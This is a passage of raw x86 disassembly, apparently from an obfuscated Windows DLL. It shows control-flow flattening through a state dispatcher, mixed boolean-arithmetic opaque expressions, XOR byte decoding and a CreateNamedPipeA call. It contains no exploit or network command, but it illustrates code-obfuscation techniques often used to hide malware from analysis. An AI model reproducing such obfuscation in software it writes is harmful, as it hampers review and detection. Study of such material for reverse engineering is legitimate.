mov byte [0x101d11e6], cl
mov cl, byte [0x101d11c2]
xor cl, 0x3e
mov byte [0x101d11e7], cl
mov cl, byte [0x101d11c3]
xor cl, 0xe1
mov byte [0x101d11e9], cl
mov cl, byte [0x101d11c4]
xor cl, 0x71
mov byte [0x101d11eb], cl
mov ecx, 0xaa1f1550
mov edx, 0x374c8955
cmp esi, 0x5bda3a4f
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xb52dc89d
jmp 0x100b81ba
mov eax, dword [0x101d2a0c]
xor edx, edx
div dword [0x101d2a10]
mov esi, eax
add esi, 0x935967d7
sub esi, 0x309f4bf4
add esi, 0x3de2a39c
add esi, 0x309f4bf4
sub esi, 0x6435662f
add esi, 0x3fa5364b
sub esi, 0x6f568146
sub esi, 0x3fa5364b
mov edx, 0xffffffff
xor edx, 0xb32043b7
mov ecx, esi
and ecx, edx
mov eax, esi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, esi
and ecx, 0xb32043b7
or esi, 0xb32043b7
imul esi, ecx
add esi, eax
xor esi, 0xc088656f
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x680371b
mov edx, 0xffffffff
xor edx, 0x680371b
and esi, edx
mov eax, 0xffffffff
xor eax, 0x883a269
and eax, 0x680371b
and edx, 0x883a269
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xfb0b1a2f
mov edx, 0xffffffff
xor edx, 0xfb0b1a2f
and ecx, edx
or eax, ecx
mov esi, 0xffffffff
xor esi, 0x173aac55
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x173aac55
or eax, 0x173aac55
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xa046e235
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa046e235
or eax, 0xa046e235
imul eax, edx
add eax, ecx
sub eax, 0x1af6df61
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x242e391b
mov ecx, 0xffffffff
xor ecx, 0xa9b7b3ee
or eax, edx
or ecx, 0xa9b7b3ee
xor eax, 0xffffffff
and eax, ecx
xor eax, 0xd688641d
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x7e37279e
add eax, ecx
mov ecx, 0x4ebdfaa7
xor edx, edx
div ecx
mov ecx, 0x84173c8f
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x8e28af1b
mov eax, 0xffffffff
xor eax, 0xf31b08e8
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x67ce845e
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0xffffffff
xor eax, 0xf6e1f3fa
add ecx, eax
add ecx, 1
mov eax, ecx
xor eax, 0x8d639b33
mov edx, 0xffffffff
xor edx, 0x8d639b33
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, 0xffffffff
xor eax, 0xf355b01d
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov esi, 0xffffffff
xor esi, 0xfe2a0eb0
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xfe2a0eb0
or ecx, 0xfe2a0eb0
imul ecx, edx
add ecx, eax
or ecx, 0x48133856
add ecx, 0x5f18e812
add ecx, 0xb9943003
sub ecx, 0x10086a19
add ecx, 0xbebf844f
add ecx, 0x10086a19
mov edx, 0xffffffff
xor edx, 0x16008964
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x16008964
add ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1fd35adb
or eax, edx
and ecx, 0x1fd35adb
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x74540a44
xor eax, 0x8f827e16
mov ecx, eax
and ecx, 0x548e96fa
xor ecx, 0xffffffff
add eax, 0x548e96fa
add eax, 1
add eax, ecx
and eax, 0x641a790
add eax, 0xe51ec3ad
mov ecx, 0x7475db05
xor edx, edx
div ecx
and eax, 0x6b6c652f
mov ecx, 0xffffffff
xor ecx, 0x52682042
add eax, ecx
add eax, 1
mov ecx, 0x2314d080
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x7731fe01
or ecx, 0x7731fe01
add eax, ecx
imul eax, eax, 0xb519d0be
mov ecx, 0x1ac76def
xor edx, edx
div ecx
mov ecx, 0x59806b5b
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x70fa02e8
sub eax, ecx
or eax, 0x116faacb
and eax, 0x5e1fa159
and eax, 0x6818dc9f
or eax, 0x2041ad50
imul ecx, eax, 0xcdd76582
mov edx, 0xffffffff
xor edx, 0x3f5d1e36
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, eax
and ecx, 0x53da78c7
xor ecx, 0xffffffff
add eax, 0x53da78c7
add eax, 1
add eax, ecx
or eax, 0x8c3a5d19
mov ecx, 0x9decfdfb
xor edx, edx
div ecx
xor eax, 0x65e6caa0
or eax, 0xa2429f
mov ecx, 0xac7531e1
xor edx, edx
div ecx
mov ecx, 0xc13d99a5
xor edx, edx
div ecx
add eax, 0x824b4899
mov ecx, 0x5876bf89
xor edx, edx
div ecx
mov ecx, 0x865184f
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, esi
and ecx, 0x96e1cd1
shl ecx, 1
xor esi, 0x96e1cd1
add esi, ecx
mov ecx, 0xbff233de
mov edx, 0xdb901494
cmp esi, 0x41cb0d14
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov esi, 0x8dd7586e
mov dword [0x101d4d50], 1
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x60], ecx
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x5c], eax
lea eax, str.qi
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1017dda0
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov ecx, 0x9ad5a410
mov edx, 0xbff233de
cmp esi, 0x553129e1
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x47176a46
jmp 0x100b81ba
mov eax, dword [0x101d2a1c]
mov ecx, dword [0x101d2a20]
sub eax, 0x9c77b52b
add eax, ecx
add eax, 0x9c77b52b
mov ecx, 0x681aad6d
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x9d868d17
xor ecx, 0x9d868d17
or eax, ecx
sub eax, 0x86c464fe
and eax, 0xb0acbb84
imul eax, eax, 0x11612ef1
add eax, 0x41494571
or eax, 0x27361757
mov ecx, 0xdda2825f
xor edx, edx
div ecx
add eax, 0x4ea889dd
add eax, 0x4907043
mov ecx, 0xe7fcae75
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5fbcf55e
mov edx, 0xffffffff
xor edx, 0x5fbcf55e
and eax, edx
sub eax, ecx
mov ecx, 0xb355bea3
xor edx, edx
div ecx
mov ecx, 0xfc850006
xor edx, edx
div ecx
mov ecx, 0x425e6351
xor edx, edx
div ecx
xor eax, 0x3242c5bc
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xf0b98470
add ecx, eax
xor eax, eax
sub eax, ecx
mov esi, eax
and esi, esi
xor esi, 0xffffffff
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xb73cf2fa
or esi, ecx
mov ecx, 0xb73cf2fa
and ecx, 0xb73cf2fa
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
and esi, eax
xor esi, 0xffffffff
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x5b365355
mov edx, 0xffffffff
xor edx, 0x5b365355
and esi, edx
mov eax, 0xffffffff
xor eax, 0xff7b8df0
and eax, 0x5b365355
and edx, 0xff7b8df0
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, 0xffffffff
xor eax, 0xdb6e4f9a
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
and eax, 0x5d300d1
xor eax, 0xffffffff
add ecx, 0x5d300d1
add ecx, 1
add ecx, eax
mov eax, ecx
xor eax, 0xadd1eb5a
xor eax, 0xffffffff
and eax, 0xadd1eb5a
shl eax, 1
sub eax, 0xadd1eb5a
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0x6bd05bb
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0xd2a2d7a7
mov ecx, eax
and ecx, 0x75fa0479
or eax, 0x75fa0479
add ecx, eax
mov eax, ecx
or eax, 0x321f1c49
xor eax, 0xffffffff
or ecx, 0x321f1c49
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, 0xf1d91cb9
imul eax, eax, 0x83fb01b5
or eax, 0x18755bdb
xor eax, 0x24affd4b
xor ecx, ecx
sub ecx, 0xae89c664
add eax, ecx
mov ecx, 0x57a2ea7d
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x26bfa3e3
add ecx, 0x3d0b491f
sub ecx, 0xfb8ec53
sub ecx, 0xefbf1997
mov edx, 0xffffffff
xor edx, 0x523f0327
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x523f0327
add ecx, edx
sub ecx, eax
add ecx, 0xb1a3d3a6
add ecx, 0x961a55ff
sub ecx, 0xb1a3d3a6
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbf38b13a
mov esi, 0xffffffff
xor esi, 0xbf38b13a
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbf38b13a
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
or eax, 0xfb58fbba
mov ecx, 0x4ec78405
xor edx, edx
div ecx
xor eax, 0xd529cebb
imul eax, eax, 0x827a133b
xor eax, 0xcd1ece2
mov ecx, 0x8cf10418
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6a7f3bed
mov esi, 0xffffffff
xor esi, 0x6a7f3bed
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6a7f3bed
or eax, 0x6a7f3bed
imul eax, edx
add eax, ecx
or eax, 0x8ec3d907
sub eax, 0x5ad5c282
xor eax, 0x363054b4
xor eax, 0x205d5dd6
mov ecx, eax
xor ecx, 0xa0f566b
mov edx, 0xffffffff
xor edx, 0xa0f566b
and eax, edx
shl eax, 1
sub eax, ecx
and eax, 0xbcddf047
add eax, 0x34922ae2
add eax, 0xa89fcb70
sub eax, 0x34922ae2
and eax, 0xfbeca286
and eax, 0x4127176d
mov ecx, 0x99eca17f
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3a277611
mov ecx, 0xffffffff
xor ecx, 0x74f49a29
or eax, edx
or ecx, 0x74f49a29
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xefed3a0e
xor edx, edx
div ecx
mov ecx, 0xa4436cf0
xor edx, edx
div ecx
mov ecx, 0xcccebc5c
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x757d3a29
mov edx, 0xf8bac10e
cmp esi, 0xda9fb964
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov ecx, dword [str._LPG]
mov edx, dword [0x101d2a28]
mov eax, ecx
and eax, edx
or ecx, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xfa44440f
add eax, ecx
mov ecx, 0x61ccfd23
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4cb5c32e
mov esi, 0xffffffff
xor esi, 0x4cb5c32e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x4cb5c32e
or eax, 0x4cb5c32e
imul eax, edx
add eax, ecx
sub eax, 0xec3f0c1f
sub eax, 0x7751b5ee
and eax, 0xf1223ce
mov ecx, 0x50c9cf13
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x1415914c
sub ecx, 0xbd8a877b
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x387654cc
and ecx, 0x387654cc
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0xc2ce7576
mov edx, eax
xor edx, 0xffffffff
and edx, 0x80c7e7bc
mov esi, 0xffffffff
xor esi, 0x80c7e7bc
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x80c7e7bc
or eax, 0x80c7e7bc
imul eax, edx
add eax, ecx
add eax, 0x3bb65ec3
add eax, 0x5dbce858
sub eax, 0x3bb65ec3
mov ecx, 0x932f584c
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0xbf80c622
add ecx, 0x542ad64f
or ecx, 0xef2aacb2
mov eax, ecx
and eax, 0x59309543
xor ecx, 0x59309543
or eax, ecx
xor eax, 0xff0bc553
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x74], edx
mov edi, 0xffffffff
xor edi, 0xf2e9b87b
mov esi, 0xffffffff
xor esi, 0xb8b95030
and edx, 0xb8b95030
and eax, esi
mov ebx, edi
and ebx, 0xb8b95030
mov ecx, esi
and ecx, 0xf2e9b87b
or edx, eax
mov eax, dword [ebp - 0x74]
or ebx, ecx
mov ecx, dword [ebp - 0x5c]
xor edx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0xb8b95030
and eax, esi
or edx, eax
mov eax, edx
and eax, 0xc11855c5
xor eax, 0xffffffff
add edx, 0xc11855c5
add edx, 1
add edx, eax
mov eax, edx
or eax, 0xa720c3c3
xor eax, 0xffffffff
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xa720c3c3
and edx, esi
or eax, edx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd6e5f31c
mov esi, 0xffffffff
xor esi, 0xd6e5f31c
and eax, esi
sub eax, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xfd763876
mov edi, 0xffffffff
xor edi, 0xfd763876
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0xfd763876
or eax, 0xfd763876
imul eax, esi
add eax, edx
sub eax, 0xf2de6c21
add eax, 0xd32edbf0
mov edx, eax
xor edx, 0x215ede6d
xor edx, 0xffffffff
and edx, 0x215ede6d
shl edx, 1
sub edx, 0x215ede6d
sub eax, edx
sub eax, 0x425ce3b5
mov edx, eax
and edx, 0x14e0db2d
xor eax, 0x14e0db2d
or edx, eax
or edx, 0x89f52dfb
xor edx, 0x430e484d
add edx, 0x1ccfba21
mov eax, edx
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or eax, esi
and eax, 0x42e983e7
xor eax, 0xffffffff
mov esi, 0x42e983e7
and esi, 0x42e983e7
xor esi, 0xffffffff
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
xor eax, 0x5d2d408c
and eax, 0x4b2e1e74
mov edi, 0xffffffff
xor edi, 0xee99f7b6
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0xee99f7b6
or eax, 0xee99f7b6
imul eax, esi
add eax, edx
mov esi, 0x5ac32cff
xor edx, edx
div esi
mov esi, 0x53de08f7
xor edx, edx
div esi
mov edx, eax
mov eax, edx
and eax, 0x90852585
xor edx, 0x90852585
or eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xa5b124b
mov edx, 0xffffffff
xor edx, 0x5efe8690
or eax, esi
or edx, 0x5efe8690
xor eax, 0xffffffff
and eax, edx
xor edx, edx
sub edx, 0xb19ddd3e
add eax, edx
mov esi, 0x3a7f591b
xor edx, edx
div esi
or eax, 0x6c60bfdd
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0xb44b15d5
add edx, eax
xor eax, eax
sub eax, edx
xor eax, 0xf137d03f
mov edx, eax
or edx, edx
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x184fc5f4
mov edi, 0xffffffff
xor edi, 0x184fc5f4
and esi, edi
or edx, esi
xor edx, 0xffffffff
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x184fc5f4
and eax, esi
or edx, eax
xor edx, 0xffffffff
add edx, 0x7e1cf9f5
mov esi, 0xffffffff
xor esi, 0x34fc80c5
mov eax, edx
xor eax, esi
and eax, edx
add eax, 0xa1d96fa8
mov esi, 0x2539766f
xor edx, edx
div esi
mov edx, eax
xor edx, 0xffffffff
and edx, 0x8e0d8977
mov esi, 0xffffffff
xor esi, 0x8e0d8977
and eax, esi
sub eax, edx
mov edx, eax
and edx, 0xf285f799
shl edx, 1
xor eax, 0xf285f799
add eax, edx
and eax, 0x4b76b4c8
xor edx, edx
sub edx, 0x7cb39e48
sub eax, edx
sub eax, 0x7f1f70ea
sub eax, 0xf501d7b0
mov esi, eax
xor esi, 0xffffffff
and esi, 0xdc17b5e1
mov edi, 0xffffffff
xor edi, 0xdc17b5e1
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0xdc17b5e1
or eax, 0xdc17b5e1
imul eax, esi
add eax, edx
mov edx, eax
and edx, 0xa991f104
shl edx, 1
add eax, 0xa991f104
sub eax, edx
imul eax, eax, 0xff822d90
mov esi, eax
and esi, 0x101f5e69
xor esi, 0xffffffff
and eax, 0x101f5e69
xor eax, 0xffffffff
xor esi, 0xffffffff
xor eax, 0xffffffff
or esi, eax
lea eax, [0x101d1210]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1017dda0
mov eax, dword [ebp - 0x5c]
add esp, 0xc
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x70], ecx
mov ecx, 0xf8bac10e
mov edx, 0x5bda3b69
cmp esi, 0xd1ba53c0
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x2505eb7b
jmp 0x100b81ba
mov eax, dword [0x101d2a2c]
imul eax, dword [0x101d2a30]
sub eax, 0xdaddc07f
sub eax, 0xb9d5c936
add eax, 0xdaddc07f
xor eax, 0xac428ef0
mov ecx, 0x1456a6a6
xor edx, edx
div ecx
imul esi, eax, 0xc5419667
sub esi, 0x4ec1a8ab
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xffa97563
mov edx, 0xffffffff
xor edx, 0xffa97563
and esi, edx
mov eax, 0xffffffff
xor eax, 0x35ca09f4
and eax, 0xffa97563
and edx, 0x35ca09f4
or ecx, esi
or eax, edx
xor ecx, eax
mov esi, 0xffffffff
xor esi, 0xfc10ac17
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xfc10ac17
or ecx, 0xfc10ac17
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb573e909
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb573e909
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0xcac446dd
shl ecx, 1
add eax, 0xcac446dd
sub eax, ecx
mov ecx, 0x6e8dc0
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x2f9741b1
mov edx, 0xffffffff
xor edx, 0x2f9741b1
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0xf5dad89e
imul eax, eax, 0x66676eb1
sub eax, 0x1c2ab9d9
mov esi, 0xffffffff
xor esi, 0x30484366
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x30484366
or eax, 0x30484366
imul eax, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xf820b379
add eax, ecx
and eax, 0x4584a2ea
mov ecx, 0xb4d6d8f
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x7e07e6f4
mov edx, 0xffffffff
xor edx, 0x7e07e6f4
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xd09225e
mov edx, 0xffffffff
xor edx, 0xd09225e
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0x294a4b0b
mov ecx, 0xaefb1a2
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xcb3efcdf
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xcb3efcdf
or eax, 0xcb3efcdf
imul eax, edx
add eax, ecx
sub eax, 0xbbc9e9d5
imul eax, eax, 0x3b03265f
add eax, 0x8504f0e1
and eax, 0x34cc45df
mov ecx, 0x346832e2
xor edx, edx
div ecx
mov ecx, 0x4eab1562
xor edx, edx
div ecx
mov ecx, 0xc89aa6bb
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x2836abaa
add eax, ecx
or eax, 0xda6a14a1
imul eax, eax, 0x56d69e3e
or eax, 0x6e73d964
add eax, 0xb78296c7
sub eax, 0x7b0b9768
mov ecx, 0xfacf1a6b
xor edx, edx
div ecx
imul ecx, eax, 0xa2b39784
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xd0245614
and ecx, 0xd0245614
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7d6038ea
mov esi, 0xffffffff
xor esi, 0x7d6038ea
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7d6038ea
or eax, 0x7d6038ea
imul eax, edx
add eax, ecx
add eax, 0x7bed8089
imul ecx, eax, 0xbb10974
mov esi, 0xffffffff
xor esi, 0x1457b91c
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x1457b91c
or ecx, 0x1457b91c
imul ecx, edx
add ecx, eax
xor eax, eax
sub eax, 0xc00a71da
add ecx, eax
add ecx, 0x5db7e44b
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x78], eax
mov esi, 0xffffffff
xor esi, 0xe83f4b84
mov edx, 0xffffffff
xor edx, 0x1d69165d
and eax, 0x1d69165d
and ecx, edx
mov edi, esi
and edi, 0x1d69165d
mov ebx, edx
and ebx, 0xe83f4b84
or eax, ecx
mov ecx, dword [ebp - 0x78]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x1d69165d
and ecx, edx
or eax, ecx
sub eax, 0x5f4ba72f
imul eax, eax, 0x44f03d70
mov ecx, 0x87bb180b
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul ecx, ecx, 0x1b46bee6
mov edx, ecx
xor edx, 0x8f56b8d4
mov esi, 0xffffffff
xor esi, 0x8f56b8d4
and ecx, esi
shl ecx, 1
sub ecx, edx
and ecx, 0xbf817ebb
xor ecx, 0x7a8a4c0e
xor ecx, 0x86ac0b19
imul ecx, ecx, 0x1ba3e77c
or ecx, 0xc0a62a5f
and ecx, 0xd0fc7a1f
sub ecx, 0xb2a38d4
mov esi, ecx
and esi, 0x6836e7df
or ecx, 0x6836e7df
add esi, ecx
xor esi, 0xebbbd63a
mov ecx, 0x3ef1ad6c
mov edx, 0x728e7086
cmp esi, 0x18dbf56e
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d2a34]
mov edx, dword [0x101d2a38]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
imul eax, eax, 0x1c5a85a0
mov ecx, 0x16a6a01
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd5c57ecf
mov edx, 0xffffffff
xor edx, 0xd5c57ecf
and eax, edx
sub eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x7d622abb
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x4a30ccba
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x4a30ccba
add eax, edx
sub eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x6f77b72d
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x84], ecx
mov esi, 0xffffffff
xor esi, 0xddfe84f0
mov edx, 0xffffffff
xor edx, 0xccbf44cb
and ecx, 0xccbf44cb
and eax, edx
mov edi, esi
and edi, 0xccbf44cb
mov ebx, edx
and ebx, 0xddfe84f0
or ecx, eax
mov eax, dword [ebp - 0x84]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0xccbf44cb
and eax, edx
or ecx, eax
sub ecx, 0xbdbc871
sub ecx, 0x87e448e3
add ecx, 0xbdbc871
add ecx, 0x816bdc5a
mov eax, ecx
and eax, 0xa48570bd
xor ecx, 0xa48570bd
or eax, ecx
imul eax, eax, 0xaea62c7f
imul eax, eax, 0xa35abfa1
add eax, 0x129ed618
mov ecx, 0xee22f341
xor edx, edx
div ecx
mov esi, eax
or esi, 0x3e5ea040
xor esi, 0xffffffff
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x3e5ea040
and eax, ecx
xor esi, 0xffffffff
xor eax, 0xffffffff
and esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x3a9f7a52
mov edx, 0xffffffff
xor edx, 0x3a9f7a52
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xc48fb62e
and ecx, 0x3a9f7a52
and edx, 0xc48fb62e
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x13336a76
mov esi, 0xffffffff
xor esi, 0x13336a76
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x13336a76
or eax, 0x13336a76
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x764b2e52
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x764b2e52
or eax, 0x764b2e52
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x51b252bd
mov edx, 0xffffffff
xor edx, 0x51b252bd
and eax, edx
or ecx, eax
xor ecx, 0x503c1be2
mov eax, ecx
and eax, 0x94d33273
xor eax, 0xffffffff
and ecx, 0x94d33273
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x2bbb6ca6
add eax, 0xb7614e75
mov esi, 0xffffffff
xor esi, 0x7e5834da
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7e5834da
or eax, 0x7e5834da
imul eax, edx
add eax, ecx
add eax, 0xd05bba8c
mov ecx, 0x271d7116
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x743008a7
shl eax, 1
add ecx, 0x743008a7
sub ecx, eax
mov eax, ecx
and eax, 0x48ca379
xor ecx, 0x48ca379
or eax, ecx
imul ecx, eax, 0xa338547d
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xfc8cf9ef
mov esi, 0xffffffff
xor esi, 0xfc8cf9ef
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0xfc8cf9ef
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x78e2ea32
or esi, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x78e2ea32
or eax, ecx
and esi, eax
xor esi, 0xffffffff
mov eax, esi
xor eax, 0x4509151a
xor eax, 0xffffffff
and eax, 0x4509151a
shl eax, 1
sub eax, 0x4509151a
sub esi, eax
sub esi, 0x9a84ea9c
mov eax, esi
xor eax, 0xffffffff
and eax, 0x3db32b35
mov edx, 0xffffffff
xor edx, 0x3db32b35
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xaf17571e
and ecx, 0x3db32b35
and edx, 0xaf17571e
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xeb543d93
mov ecx, 0xffffffff
xor ecx, 0x2a7bd554
or eax, edx
